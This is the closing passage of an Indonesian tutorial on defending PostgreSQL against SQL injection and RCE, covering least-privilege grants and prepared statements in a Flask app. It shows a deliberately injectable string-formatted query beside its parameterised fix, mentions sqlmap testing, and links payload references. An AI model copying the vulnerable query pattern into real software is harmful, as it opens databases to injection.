PASSWORD 'StrongManagerP4ssW0rd' | Kata sandi yang akan digunakan oleh pengguna WebManager , yaitu 'StrongManagerP4ssW0rd' . Kata sandi ini akan disimpan dalam bentuk terenkripsi. |
Parameter tambahan lainya dapat digunakan sesuai dengan kebutuhan, mari kita coba login pada user baru tersebut untuk memastikan user tersebut sudah bisa login
psql -U WebManager
![]() |
---|
Gambar 53 |
Ternyata user yang sudah dibuat tidak dapat login. Hal ini dikarenakan karena belum ada Database yang di granted pada user tersebut. Untuk memberikan akses pada suatu user, kita bisa gunakan fungsi GRANT. Kita kembali lagi ke akun superuser untuk memberikan akses CONNECT
kepada webmanager
agar bisa terkoneksi ke database dengan command berikut
GRANT CONNECT ON DATABASE myappdb to webmanager;
![]() |
---|
Gambar 54 |
![]() |
---|
Gambar 55 |
Setelah diberi akses untuk CONNECT ke database myappdb
, akhirnya user webamanager
dapat login, namun karena hanya diberikan akses CONNECT, user tersebut masih belum bisa mengakses data pada database, tentu ini hal yang baik untuk menerapkan least privilege.
Selanjutnya kita akan berikan akses yang diperlukan pada database myappdb
\c myappdb
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE users TO webmanager;
GRANT SELECT ON TABLE product TO webmanager;
![]() |
---|
Gambar 56 |
![]() |
---|
Gambar 57 |
Terlihat bahwa user webmanager
sudah diberikan least privilege access dan hanya bisa mengerjakan tugas yang sudah didefinisikan terhadap user tersebut. Konfigurasi pada PostgreSQL tidak hanya sebatas user, melainkan terdapat groups, limit akses ke kolom, dan juga lainnya yang masih bisa dieksplorasi.
Jangan lupa untuk ubah konfigurasi database pada web, Pastikan user postgreSQL yang digunakan adalah yang sudah kita buat dan memiliki least privilege
![]() |
---|
Gambar 58 |
Dengan menerapkan least privilege, seandainya terjadi breach, maka kita bisa mengurangi dampak dari kebocoran sehingga database lain tidak ikut terkena breach dan juga mencegah hacker melakukan eskalasi serangan hingga RCE menggunakan metode yang sudah dibahas di atas
![]() |
---|
Gambar 59 |
![]() |
---|
Gambar 60 |
Dengan membatasi akses pada user PostgreSQL, eskalasi serangan menjadi RCE menjadi tidak dapat dilakukan. Namun ini belumlah cukup karena jika masih bisa melakukan SQL Injection, hacker masih bisa mendapatkan data sensitif pada database. Least Privilege hanya melakukan hardening agar bisa meminimalisir impact dari suatu serangan
Implement Prepared Statement #
Pada section ini kita akan bahas terkait penjagaan dari sisi aplikasinya, dengan penjagaan ini kita akan menutup kerentanan yang bisa menyebabkan terjadinya SQL Injection. Serangan SQL Injection pada dasarnya terjadi karena terdapat kegagalan dalam sanitasi atau validasi terhadap inputan user. Untuk mengatasi kegagalan sistem tersebut, kita akan terapkan Prepared Statement
Prepared Statement adalah teknik yang digunakan untuk menghindari serangan SQL Injection dengan memisahkan kode SQL dan data input pengguna. Dalam teknik ini, query SQL terlebih dahulu dibuat dalam bentuk template (template query), dan kemudian data yang dimasukkan oleh pengguna diikat (bind) ke dalam query tersebut. Setiap bahasa pemrograman punya caranya masing-masing, bisa dilihat saja pada dokumentasi bahasa pemrograman tersebut
Pada artikel ini kita akan coba implementasi prepared statement pada website yang digunakan untuk PoC SQL Injection. Website dibangun menggunakan bahasa pemrograman Python serta menggunakan Framework Flask. Berikut code yang vulnerable
SELECT id, product_name, product_price FROM product WHERE product_name ILIKE '%{search_term}%'
![]() |
---|
Gambar 61 |
Kita modifikasi query nya dengan menggunakan prepared statement, perbaikan ini akan mencegah terjadinya serangan SQL Injection
SELECT id, product_name, product_price FROM product WHERE product_name ILIKE %s
![]() |
---|
Gambar 62 |
Sekarang mari kita uji dengan dengan melakukan serangan SQL Injection
![]() |
---|
Gambar 63 |
![]() |
---|
Gambar 64 |
Testing menggunakan payload RCE dan juga SQLMAP dengan risk 3 dan level 5, tidak ada serangan SQL Injection yang berhasil tembus. Seperti yang dikatakan di awal section ini, setiap bahasa pemrograman punya caranya sendiri untuk melakukan prepared statement, silahkan lakukan eksplorasi untuk bahasa pemrograman dan framework yang lain.
Penutup #
Sudah selesai semua bahasan pada artikel ini, pada artikel ini kita sudah mempelajari beberapa cara untuk melakukan RCE menggunakan PostgreSQL dan cara untuk melakukan penjagaan dari serangan SQL Injection. Semoga ilmu ini dapat menjadi wawasan baru agar kita dapat memperkuat rangka cyber security kita. Gunakan ilmu ini dengan etis dan jangan gunakan untuk hal-hal jahat. Sekian tulisan ini, Terimakasih
Reference
- https://github.com/b4rdia/HackTricks/blob/master/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-libcso6
- https://medium.com/@artbindu/postgresql-user-defined-function-4a2c1071e879
- https://www.postgresql.org/docs